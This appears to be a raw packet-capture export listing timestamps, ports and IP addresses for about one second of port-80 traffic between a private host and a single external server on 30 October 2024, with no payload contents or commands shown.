Oct 30, 2024 11:45:34.852833986 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.852845907 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.852885962 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.852900028 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.852912903 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.852940083 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853005886 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853019953 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853034973 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853055954 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853061914 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853128910 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853141069 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853171110 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853174925 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853188038 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853200912 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853214979 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853230000 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853236914 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853251934 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853260994 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853266001 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853276014 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853279114 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853292942 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853307009 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853308916 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853318930 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853333950 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853341103 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853354931 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853384018 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853387117 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853399038 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853411913 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853411913 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853429079 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853441954 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853455067 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853460073 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853468895 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853486061 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853491068 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853498936 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.853504896 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.853533030 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.854213953 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.948554039 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.948570013 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.948585033 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.948599100 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:34.948657990 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:34.948703051 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.008961916 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009047031 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009059906 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009074926 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009088993 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009098053 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009100914 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009123087 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009131908 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009139061 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009151936 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009160042 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009165049 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009180069 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009206057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009248972 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009277105 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009290934 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009320974 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009459019 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009471893 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009486914 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009500027 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009502888 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009514093 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009516954 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009527922 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009540081 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009553909 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009577990 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009582996 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009593964 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009614944 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009628057 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009640932 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009644032 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009655952 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009668112 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009668112 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009691954 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009696960 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009706974 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009718895 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009730101 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009735107 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009748936 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009749889 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009764910 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009778023 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009788990 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009793997 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009804010 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009818077 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009818077 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009835958 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009840965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009862900 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009875059 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009895086 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009908915 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009910107 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009922981 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009928942 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009938002 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009947062 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009960890 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009974957 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.009984970 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.009989023 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010004044 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010006905 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010020971 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010034084 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010039091 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010060072 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010071993 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010073900 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010087967 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010101080 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010113955 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010113955 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010129929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010135889 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010143042 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010157108 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010159969 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010170937 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010185957 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010359049 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010373116 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010386944 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010404110 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010416985 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010426044 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010431051 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010473967 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010504961 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010548115 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010587931 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010598898 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010617018 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010634899 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010636091 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010688066 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010701895 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010716915 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010730028 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010756016 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010792017 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010864973 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010875940 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010890961 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010894060 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.010905981 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.010919094 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011025906 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011037111 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011060953 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011074066 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011075974 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011086941 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011156082 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011168003 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011183977 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011189938 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011202097 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011219978 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011230946 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011244059 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011257887 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011257887 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011271954 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011300087 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.011432886 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011526108 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.011554956 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.041465044 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.052813053 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.052826881 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.052838087 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.052856922 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.052879095 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.106596947 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.106610060 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.106621981 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.106656075 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166776896 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166790009 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166801929 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166819096 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166832924 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166837931 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166851044 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166862011 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166870117 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166873932 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166878939 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166884899 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166898966 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166908026 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166919947 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166939974 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166948080 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166951895 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166968107 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166975975 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.166979074 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.166997910 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167009115 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167011023 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167027950 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167036057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167040110 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167051077 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167059898 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167061090 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167073965 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167084932 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167092085 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167104959 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167114973 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167117119 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167125940 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167139053 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167140007 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167148113 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167165041 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167179108 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167217970 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167233944 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167273998 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167426109 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167437077 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167448044 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167465925 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167476892 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167495966 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167510986 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167521000 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167531967 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167541981 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167552948 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167563915 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167571068 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167574883 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167583942 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167587042 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167598963 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167601109 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167610884 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167627096 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167632103 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167644024 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167650938 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167682886 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167758942 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167768955 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167792082 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167803049 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167804003 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167814016 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167824984 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167845011 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167845964 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167860985 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167862892 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167874098 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167884111 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167893887 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167896032 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167907953 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167917967 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167922020 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167931080 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167951107 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167962074 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.167973042 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.167994022 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168001890 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168032885 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168472052 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168483973 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168498039 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168515921 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168524027 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168528080 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168539047 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168541908 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168553114 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168560982 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168564081 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168584108 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168593884 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168605089 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168605089 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168621063 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168632030 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168632984 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168644905 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168648958 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168673038 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168732882 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168744087 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168755054 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168762922 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168792963 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168797016 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168808937 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168819904 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168829918 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168840885 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168840885 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168891907 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168895006 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168911934 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168922901 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168934107 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.168945074 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168968916 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.168992043 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.169027090 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.169038057 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.169038057 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.169066906 CET	49758	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:45:35.169183969 CET	80	49758	185.215.113.16	192.168.2.7
Oct 30, 2024 11:45:35.169197083 CET	80	49758	185.215.113.16	192.168.2.7
